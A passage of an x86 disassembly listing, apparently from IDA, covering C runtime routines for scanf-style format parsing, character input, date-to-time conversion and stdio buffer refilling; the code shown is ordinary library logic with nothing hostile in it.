jz short loc_41B7E0
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_41C092
pop ecx
jmp short loc_41B7EB
; ---------------------------------------------------------------------------
loc_41B7E0: ; CODE XREF: sub_41B605+1C5j
; sub_41B605+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
loc_41B7EB: ; CODE XREF: sub_41B605+1D9j
pop ecx
mov [ebp+var_14], eax
loc_41B7EF: ; CODE XREF: sub_41B605+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_41B7FF
cmp [ebp+var_C], eax
jz loc_41BFDB
loc_41B7FF: ; CODE XREF: sub_41B605+1EFj
cmp esi, 6Fh
jg loc_41BA66
jz loc_41BD18
cmp esi, 63h
jz loc_41BA43
cmp esi, 64h
jz loc_41BD18
jle loc_41BA90
cmp esi, 67h
jle short loc_41B863
cmp esi, 69h
jz short loc_41B84B
cmp esi, 6Eh
jnz loc_41BA90
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_41BF46
jmp loc_41BF6C
; ---------------------------------------------------------------------------
loc_41B84B: ; CODE XREF: sub_41B605+229j
push 64h
pop esi
loc_41B84E: ; CODE XREF: sub_41B605+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_41BAD8
mov [ebp+var_17], 1
jmp loc_41BADD
; ---------------------------------------------------------------------------
loc_41B863: ; CODE XREF: sub_41B605+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_41B87F
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_41B884
; ---------------------------------------------------------------------------
loc_41B87F: ; CODE XREF: sub_41B605+26Aj
cmp ebx, 2Bh
jnz short loc_41B89B
loc_41B884: ; CODE XREF: sub_41B605+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41B89E
; ---------------------------------------------------------------------------
loc_41B89B: ; CODE XREF: sub_41B605+27Dj
mov edi, [ebp+arg_0]
loc_41B89E: ; CODE XREF: sub_41B605+294j
cmp [ebp+var_20], 0
jz short loc_41B8AD
cmp [ebp+var_C], 15Dh
jle short loc_41B8B4
loc_41B8AD: ; CODE XREF: sub_41B605+29Dj
mov [ebp+var_C], 15Dh
loc_41B8B4: ; CODE XREF: sub_41B605+2A6j
; sub_41B605+2F2j
cmp dword_43812C, 1
jle short loc_41B8C9
push 4
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41B8D4
; ---------------------------------------------------------------------------
loc_41B8C9: ; CODE XREF: sub_41B605+2B6j
mov eax, off_437F20
mov al, [eax+ebx*2]
and eax, 4
loc_41B8D4: ; CODE XREF: sub_41B605+2C2j
test eax, eax
jz short loc_41B8F9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B8F9
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41B8B4
; ---------------------------------------------------------------------------
loc_41B8F9: ; CODE XREF: sub_41B605+2D1j
; sub_41B605+2DBj
cmp byte_438130, bl
jnz short loc_41B967
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B967
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
mov al, byte_438130
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_41B922: ; CODE XREF: sub_41B605+360j
cmp dword_43812C, 1
jle short loc_41B937
push 4
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41B942
; ---------------------------------------------------------------------------
loc_41B937: ; CODE XREF: sub_41B605+324j
mov eax, off_437F20
mov al, [eax+ebx*2]
and eax, 4
loc_41B942: ; CODE XREF: sub_41B605+330j
test eax, eax
jz short loc_41B967
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B967
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41B922
; ---------------------------------------------------------------------------
loc_41B967: ; CODE XREF: sub_41B605+2FAj
; sub_41B605+304j ...
cmp [ebp+var_1C], 0
jz loc_41B9FF
cmp ebx, 65h
jz short loc_41B97F
cmp ebx, 45h
jnz loc_41B9FF
loc_41B97F: ; CODE XREF: sub_41B605+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B9FF
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_41B9A6
mov [esi], al
inc esi
jmp short loc_41B9AB
; ---------------------------------------------------------------------------
loc_41B9A6: ; CODE XREF: sub_41B605+39Aj
cmp ebx, 2Bh
jnz short loc_41B9C9
loc_41B9AB: ; CODE XREF: sub_41B605+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_41B9BA
and [ebp+var_C], eax
jmp short loc_41B9C9
; ---------------------------------------------------------------------------
loc_41B9BA: ; CODE XREF: sub_41B605+3AEj
; sub_41B605+3F8j
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41B9C9: ; CODE XREF: sub_41B605+3A4j
; sub_41B605+3B3j
cmp dword_43812C, 1
jle short loc_41B9DE
push 4
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41B9E9
; ---------------------------------------------------------------------------
loc_41B9DE: ; CODE XREF: sub_41B605+3CBj
mov eax, off_437F20
mov al, [eax+ebx*2]
and eax, 4
loc_41B9E9: ; CODE XREF: sub_41B605+3D7j
test eax, eax
jz short loc_41B9FF
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B9FF
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_41B9BA
; ---------------------------------------------------------------------------
loc_41B9FF: ; CODE XREF: sub_41B605+366j
; sub_41B605+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_41C07B
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_41C00B
cmp [ebp+var_E], 0
jnz loc_41BF6C
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43A288
add esp, 0Ch
jmp loc_41BF6C
; ---------------------------------------------------------------------------
loc_41BA43: ; CODE XREF: sub_41B605+20Cj
cmp [ebp+var_20], eax
jnz short loc_41BA52
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_41BA52: ; CODE XREF: sub_41B605+441j
cmp [ebp+var_5], 0
jle short loc_41BA5C
mov [ebp+var_16], 1
loc_41BA5C: ; CODE XREF: sub_41B605+451j
mov edi, offset dword_43A2B0
jmp loc_41BB71
; ---------------------------------------------------------------------------
loc_41BA66: ; CODE XREF: sub_41B605+1FDj
mov eax, esi
sub eax, 70h
jz loc_41BD14
sub eax, 3
jz loc_41BB62
dec eax
dec eax
jz loc_41BD18
sub eax, 3
jz loc_41B84E
sub eax, 3
jz short loc_41BAB4
loc_41BA90: ; CODE XREF: sub_41B605+21Bj
; sub_41B605+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_41BFDB
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_41BF6C
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_41BF6C
; ---------------------------------------------------------------------------
loc_41BAB4: ; CODE XREF: sub_41B605+489j
cmp [ebp+var_5], 0
jle short loc_41BABE
mov [ebp+var_16], 1
loc_41BABE: ; CODE XREF: sub_41B605+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_41BB75
mov eax, edi
lea edi, [eax+1]
jmp loc_41BB71
; ---------------------------------------------------------------------------
loc_41BAD8: ; CODE XREF: sub_41B605+24Fj
cmp ebx, 2Bh
jnz short loc_41BAFF
loc_41BADD: ; CODE XREF: sub_41B605+259j
dec [ebp+var_C]
jnz short loc_41BAEE
cmp [ebp+var_20], 0
jz short loc_41BAEE
mov [ebp+var_F], 1
jmp short loc_41BAFF
; ---------------------------------------------------------------------------
loc_41BAEE: ; CODE XREF: sub_41B605+4DBj
; sub_41B605+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41BAFF: ; CODE XREF: sub_41B605+4D6j
; sub_41B605+4E7j
cmp ebx, 30h
jnz loc_41BD4D
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_41BB4D
cmp bl, 58h
jz short loc_41BB4D
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_41BB37
push 6Fh
loc_41BB31: ; CODE XREF: sub_41B605+55Bj
pop esi
jmp loc_41BD4D
; ---------------------------------------------------------------------------
loc_41BB37: ; CODE XREF: sub_41B605+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41C07B
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_41BD4A
; ---------------------------------------------------------------------------
loc_41BB4D: ; CODE XREF: sub_41B605+517j
; sub_41B605+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_41BB31
; ---------------------------------------------------------------------------
loc_41BB62: ; CODE XREF: sub_41B605+46Fj
cmp [ebp+var_5], 0
jle short loc_41BB6C
mov [ebp+var_16], 1
loc_41BB6C: ; CODE XREF: sub_41B605+561j
mov edi, offset dword_43A2A8
loc_41BB71: ; CODE XREF: sub_41B605+45Cj
; sub_41B605+4CEj
or [ebp+var_18], 0FFh
loc_41BB75: ; CODE XREF: sub_41B605+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_415390
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_41BB99
cmp byte ptr [edi], 5Dh
jnz short loc_41BB99
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_41BB9C
; ---------------------------------------------------------------------------
loc_41BB99: ; CODE XREF: sub_41B605+584j
; sub_41B605+589j
mov dl, [ebp+var_35]
loc_41BB9C: ; CODE XREF: sub_41B605+592j
; sub_41B605+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_41BC01
inc edi
cmp al, 2Dh
jnz short loc_41BBE8
test dl, dl
jz short loc_41BBE8
mov cl, [edi]
cmp cl, 5Dh
jz short loc_41BBE8
inc edi
cmp dl, cl
jnb short loc_41BBBB
mov al, cl
jmp short loc_41BBBF
; ---------------------------------------------------------------------------
loc_41BBBB: ; CODE XREF: sub_41B605+5B0j
mov al, dl
mov dl, cl
loc_41BBBF: ; CODE XREF: sub_41B605+5B4j
cmp dl, al
ja short loc_41BBE4
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_41BBCC: ; CODE XREF: sub_41B605+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_41BBCC
loc_41BBE4: ; CODE XREF: sub_41B605+5BCj
xor dl, dl
jmp short loc_41BB9C
; ---------------------------------------------------------------------------
loc_41BBE8: ; CODE XREF: sub_41B605+5A0j
; sub_41B605+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_41BB9C
; ---------------------------------------------------------------------------
loc_41BC01: ; CODE XREF: sub_41B605+59Bj
cmp byte ptr [edi], 0
jz loc_41C00B
cmp [ebp+var_3C], 7Bh
jnz short loc_41BC13
mov [ebp+arg_4], edi
loc_41BC13: ; CODE XREF: sub_41B605+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_41C07B
pop ecx
pop ecx
loc_41BC2A: ; CODE XREF: sub_41B605+6BCj
; sub_41B605+6C4j
cmp [ebp+var_20], 0
jz short loc_41BC3E
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_41BCDA
loc_41BC3E: ; CODE XREF: sub_41B605+629j
inc [ebp+var_4]
push edi
call sub_41C061
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_41BCCE
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_41BCCE
cmp [ebp+var_E], 0
jnz short loc_41BCC6
cmp [ebp+var_16], 0
jz short loc_41BCBB
mov ecx, off_437F20
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41BC9A
inc [ebp+var_4]
push edi
call sub_41C061
pop ecx
mov [ebp+var_37], al
loc_41BC9A: ; CODE XREF: sub_41B605+686j
push dword_43812C
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_41E869
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_41BCBE
; ---------------------------------------------------------------------------
loc_41BCBB: ; CODE XREF: sub_41B605+673j
mov [esi], al
inc esi
loc_41BCBE: ; CODE XREF: sub_41B605+6B4j
mov [ebp+var_2C], esi
jmp loc_41BC2A
; ---------------------------------------------------------------------------
loc_41BCC6: ; CODE XREF: sub_41B605+66Dj
inc [ebp+var_30]
jmp loc_41BC2A
; ---------------------------------------------------------------------------
loc_41BCCE: ; CODE XREF: sub_41B605+649j
; sub_41B605+667j
dec [ebp+var_4]
push edi
push eax
call sub_41C07B
pop ecx
pop ecx
loc_41BCDA: ; CODE XREF: sub_41B605+633j
cmp [ebp+var_30], esi
jz loc_41C00B
cmp [ebp+var_E], 0
jnz loc_41BF6C
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_41BF6C
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_41BD0C
and word ptr [eax], 0
jmp loc_41BF6C
; ---------------------------------------------------------------------------
loc_41BD0C: ; CODE XREF: sub_41B605+6FCj
and byte ptr [eax], 0
jmp loc_41BF6C
; ---------------------------------------------------------------------------
loc_41BD14: ; CODE XREF: sub_41B605+466j
mov [ebp+var_D], 1
loc_41BD18: ; CODE XREF: sub_41B605+203j
; sub_41B605+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_41BD26
mov [ebp+var_17], 1
jmp short loc_41BD2B
; ---------------------------------------------------------------------------
loc_41BD26: ; CODE XREF: sub_41B605+719j
cmp ebx, 2Bh
jnz short loc_41BD4D
loc_41BD2B: ; CODE XREF: sub_41B605+71Fj
dec [ebp+var_C]
jnz short loc_41BD3C
cmp [ebp+var_20], 0
jz short loc_41BD3C
mov [ebp+var_F], 1
jmp short loc_41BD4D
; ---------------------------------------------------------------------------
loc_41BD3C: ; CODE XREF: sub_41B605+729j
; sub_41B605+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
pop ecx
mov ebx, eax
loc_41BD4A: ; CODE XREF: sub_41B605+543j
mov [ebp+var_14], ebx
loc_41BD4D: ; CODE XREF: sub_41B605+4FDj
; sub_41B605+52Dj ...
cmp [ebp+var_30], 0
jz loc_41BE66
cmp [ebp+var_F], 0
jnz loc_41BE44
loc_41BD61: ; CODE XREF: sub_41B605+82Cj
cmp esi, 78h
jnz short loc_41BDB5
cmp dword_43812C, 1
jle short loc_41BD7E
push 80h
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41BD8B
; ---------------------------------------------------------------------------
loc_41BD7E: ; CODE XREF: sub_41B605+768j
mov eax, off_437F20
mov al, [eax+ebx*2]
and eax, 80h
loc_41BD8B: ; CODE XREF: sub_41B605+777j
test eax, eax
jz loc_41BE36
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_41E960
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_41C02A
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41BE08
; ---------------------------------------------------------------------------
loc_41BDB5: ; CODE XREF: sub_41B605+75Fj
cmp dword_43812C, 1
jle short loc_41BDCA
push 4
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41BDD5
; ---------------------------------------------------------------------------
loc_41BDCA: ; CODE XREF: sub_41B605+7B7j
mov eax, off_437F20
mov al, [eax+ebx*2]
and eax, 4
loc_41BDD5: ; CODE XREF: sub_41B605+7C3j
test eax, eax
jz short loc_41BE36
cmp esi, 6Fh
jnz short loc_41BDF3
cmp ebx, 38h
jge short loc_41BE36
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_41E960
jmp short loc_41BE02
; ---------------------------------------------------------------------------
loc_41BDF3: ; CODE XREF: sub_41B605+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_4157C0
loc_41BE02: ; CODE XREF: sub_41B605+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_41BE08: ; CODE XREF: sub_41B605+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_41BE20
dec [ebp+var_C]
jz short loc_41BE44
loc_41BE20: ; CODE XREF: sub_41B605+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41BD61
; ---------------------------------------------------------------------------
loc_41BE36: ; CODE XREF: sub_41B605+788j
; sub_41B605+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41C07B
pop ecx
pop ecx
loc_41BE44: ; CODE XREF: sub_41B605+756j
; sub_41B605+819j
cmp [ebp+var_17], 0
jz loc_41BF2A
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_41BF2A
; ---------------------------------------------------------------------------
loc_41BE66: ; CODE XREF: sub_41B605+74Cj
cmp [ebp+var_F], 0
jnz loc_41BF22
loc_41BE70: ; CODE XREF: sub_41B605+90Aj
cmp esi, 78h
jz short loc_41BEB4
cmp esi, 70h
jz short loc_41BEB4
cmp dword_43812C, 1
jle short loc_41BE8F
push 4
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41BE9A
; ---------------------------------------------------------------------------
loc_41BE8F: ; CODE XREF: sub_41B605+87Cj
mov eax, off_437F20
mov al, [eax+ebx*2]
and eax, 4
loc_41BE9A: ; CODE XREF: sub_41B605+888j
test eax, eax
jz short loc_41BF14
cmp esi, 6Fh
jnz short loc_41BEAD
cmp ebx, 38h
jge short loc_41BF14
shl edi, 3
jmp short loc_41BEEC
; ---------------------------------------------------------------------------
loc_41BEAD: ; CODE XREF: sub_41B605+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_41BEEC
; ---------------------------------------------------------------------------
loc_41BEB4: ; CODE XREF: sub_41B605+86Ej
; sub_41B605+873j
cmp dword_43812C, 1
jle short loc_41BECC
push 80h
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41BED9
; ---------------------------------------------------------------------------
loc_41BECC: ; CODE XREF: sub_41B605+8B6j
mov eax, off_437F20
mov al, [eax+ebx*2]
and eax, 80h
loc_41BED9: ; CODE XREF: sub_41B605+8C5j
test eax, eax
jz short loc_41BF14
push ebx
shl edi, 4
call sub_41C02A
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41BEEC: ; CODE XREF: sub_41B605+8A6j
; sub_41B605+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_41BEFE
dec [ebp+var_C]
jz short loc_41BF22
loc_41BEFE: ; CODE XREF: sub_41B605+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41BE70
; ---------------------------------------------------------------------------
loc_41BF14: ; CODE XREF: sub_41B605+897j
; sub_41B605+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41C07B
pop ecx
pop ecx
loc_41BF22: ; CODE XREF: sub_41B605+865j
; sub_41B605+8F7j
cmp [ebp+var_17], 0
jz short loc_41BF2A
neg edi
loc_41BF2A: ; CODE XREF: sub_41B605+843j
; sub_41B605+85Cj ...
cmp esi, 46h
jnz short loc_41BF33
and [ebp+var_1C], 0
loc_41BF33: ; CODE XREF: sub_41B605+928j
cmp [ebp+var_1C], 0
jz loc_41C00B
cmp [ebp+var_E], 0
jnz short loc_41BF6C
inc [ebp+var_34]
loc_41BF46: ; CODE XREF: sub_41B605+23Bj
cmp [ebp+var_30], 0
jz short loc_41BF5C
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_41BF6C
; ---------------------------------------------------------------------------
loc_41BF5C: ; CODE XREF: sub_41B605+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_41BF69
mov [eax], edi
jmp short loc_41BF6C
; ---------------------------------------------------------------------------
loc_41BF69: ; CODE XREF: sub_41B605+95Ej
mov [eax], di
loc_41BF6C: ; CODE XREF: sub_41B605+241j
; sub_41B605+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_41BFB9
; ---------------------------------------------------------------------------
loc_41BF77: ; CODE XREF: sub_41B605+93j
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_41BFE6
mov ecx, off_437F20
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41BFB9
inc [ebp+var_4]
push edi
call sub_41C061
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_41BFF4
dec [ebp+var_4]
loc_41BFB9: ; CODE XREF: sub_41B605+970j
; sub_41B605+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41BFCF
cmp byte ptr [esi], 25h
jnz short loc_41C011
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_41C011
mov esi, eax
loc_41BFCF: ; CODE XREF: sub_41B605+9B8j
mov al, [esi]
test al, al
jnz loc_41B62F
jmp short loc_41C00B
; ---------------------------------------------------------------------------
loc_41BFDB: ; CODE XREF: sub_41B605+1F4j
; sub_41B605+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_41BFEB
; ---------------------------------------------------------------------------
loc_41BFE6: ; CODE XREF: sub_41B605+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_41BFEB: ; CODE XREF: sub_41B605+9DFj
call sub_41C07B
pop ecx
pop ecx
jmp short loc_41C00B
; ---------------------------------------------------------------------------
loc_41BFF4: ; CODE XREF: sub_41B605+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_41C07B
dec [ebp+var_4]
push edi
push ebx
call sub_41C07B
add esp, 10h
loc_41C00B: ; CODE XREF: sub_41B605+1Fj
; sub_41B605+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41C022
loc_41C011: ; CODE XREF: sub_41B605+9BDj
; sub_41B605+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_41C025
cmp [ebp+var_15], al
jnz short loc_41C025
or eax, 0FFFFFFFFh
jmp short loc_41C025
; ---------------------------------------------------------------------------
loc_41C022: ; CODE XREF: sub_41B605+A0Aj
mov eax, [ebp+var_34]
loc_41C025: ; CODE XREF: sub_41B605+A11j
; sub_41B605+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B605 endp
; =============== S U B R O U T I N E =======================================
sub_41C02A proc near ; CODE XREF: sub_41B605+7A3p
; sub_41B605+8DCp
arg_0 = dword ptr 4
cmp dword_43812C, 1
push esi
jle short loc_41C044
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_418576
pop ecx
pop ecx
jmp short loc_41C053
; ---------------------------------------------------------------------------
loc_41C044: ; CODE XREF: sub_41C02A+8j
mov esi, [esp+4+arg_0]
mov eax, off_437F20
mov al, [eax+esi*2]
and eax, 4
loc_41C053: ; CODE XREF: sub_41C02A+18j
test eax, eax
jnz short loc_41C05D
and esi, 0FFFFFFDFh
sub esi, 7
loc_41C05D: ; CODE XREF: sub_41C02A+2Bj
mov eax, esi
pop esi
retn
sub_41C02A endp
; =============== S U B R O U T I N E =======================================
sub_41C061 proc near ; CODE XREF: sub_41B605+1E1p
; sub_41B605+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_41C073
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_41C073: ; CODE XREF: sub_41C061+7j
push edx
call sub_41C178
pop ecx
retn
sub_41C061 endp
; =============== S U B R O U T I N E =======================================
sub_41C07B proc near ; CODE XREF: sub_41B605+6Bp
; sub_41B605+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_41C091
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41E97F
pop ecx
pop ecx
locret_41C091: ; CODE XREF: sub_41C07B+5j
retn
sub_41C07B endp
; =============== S U B R O U T I N E =======================================
sub_41C092 proc near ; CODE XREF: sub_41B605+63p
; sub_41B605+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_41C098: ; CODE XREF: sub_41C092+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_41C061
mov edi, eax
push edi
call sub_41E931
pop ecx
test eax, eax
pop ecx
jnz short loc_41C098
mov eax, edi
pop edi
pop esi
retn
sub_41C092 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C0B6 proc near ; CODE XREF: sub_41697B+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_41C172
cmp ebx, 8Ah
jg loc_41C172
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_43A9D4[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_41C0F5
cmp edi, 2
jle short loc_41C0F5
inc esi
loc_41C0F5: ; CODE XREF: sub_41C0B6+37j
; sub_41C0B6+3Cj
call sub_41E9ED
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43A8F0
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_41C168
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_41C16E
cmp dword_43A8F4, 0
jz short loc_41C16E
lea eax, [ebp+var_24]
push eax
call sub_41EC60
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_41C16E
loc_41C168: ; CODE XREF: sub_41C0B6+90j
add ecx, dword_43A8F8
loc_41C16E: ; CODE XREF: sub_41C0B6+96j
; sub_41C0B6+9Fj ...
mov eax, ecx
jmp short loc_41C175
; ---------------------------------------------------------------------------
loc_41C172: ; CODE XREF: sub_41C0B6+13j
; sub_41C0B6+1Fj
or eax, 0FFFFFFFFh
loc_41C175: ; CODE XREF: sub_41C0B6+BAj
pop ebx
leave
retn
sub_41C0B6 endp
; =============== S U B R O U T I N E =======================================
sub_41C178 proc near ; CODE XREF: sub_416A57+A9p
; sub_416FDC+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41C24C
test al, 40h
jnz loc_41C24C
test al, 2
jz short loc_41C19E
or al, 20h
mov [esi+0Ch], eax
jmp loc_41C24C
; ---------------------------------------------------------------------------
loc_41C19E: ; CODE XREF: sub_41C178+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41C1B2
push esi
call sub_41D908
pop ecx
jmp short loc_41C1B7
; ---------------------------------------------------------------------------
loc_41C1B2: ; CODE XREF: sub_41C178+2Fj
